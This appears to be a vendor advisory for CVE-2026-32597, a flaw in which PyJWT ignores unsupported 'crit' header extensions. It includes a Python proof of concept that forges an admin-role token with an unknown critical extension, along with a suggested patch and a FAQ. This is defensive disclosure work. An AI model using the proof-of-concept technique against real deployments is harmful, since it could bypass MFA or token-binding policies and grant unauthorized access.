CVE-2026-32597

PyJWT does not validate the crit (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a crit array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).

RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this
specification and/or [JWA] are being used that MUST be understood and
processed. [...] If any of the listed extension Header Parameters are
not understood and supported by the recipient, then the JWS is invalid.

Proof of Concept

import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

# Should REJECT, x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy
Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

# jwcrypto, correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])
# raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

CWE

• CWE-345: Insufficient Verification of Data Authenticity
• CWE-863: Incorrect Authorization

References

• RFC 7515 §4.1.11
• CVE-2025-59420, Authlib crit bypass (CVSS 7.5)
• RFC 7800, Proof-of-Possession Key Semantics

• Split-brain verification in mixed-library deployments (e.g., API
  gateway using jwcrypto rejects, backend using PyJWT accepts)
• Security policy bypass when crit carries enforcement semantics
  (MFA, token binding, scope restrictions)
• Token binding bypass, RFC 7800 cnf (Proof-of-Possession) can be
  silently ignored
• See CVE-2025-59420 for full impact analysis

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-32597 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.12.0); upgrading removes the vulnerable code path.

Kodem intelligence

In jwt/api_jwt.py, add validation in _validate_headers() or
decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

1. What is CVE-2026-32597? CVE-2026-32597 is a high-severity incorrect authorization vulnerability in PyJWT (pip), affecting versions <= 2.11.0. It is fixed in 2.12.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-32597? CVE-2026-32597 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of PyJWT are affected by CVE-2026-32597? PyJWT (pip) versions <= 2.11.0 is affected.
4. Is there a fix for CVE-2026-32597? Yes. CVE-2026-32597 is fixed in 2.12.0. Upgrade to this version or later.
5. Is CVE-2026-32597 exploitable, and should I be worried? Whether CVE-2026-32597 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32597 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32597? Upgrade PyJWT to 2.12.0 or later.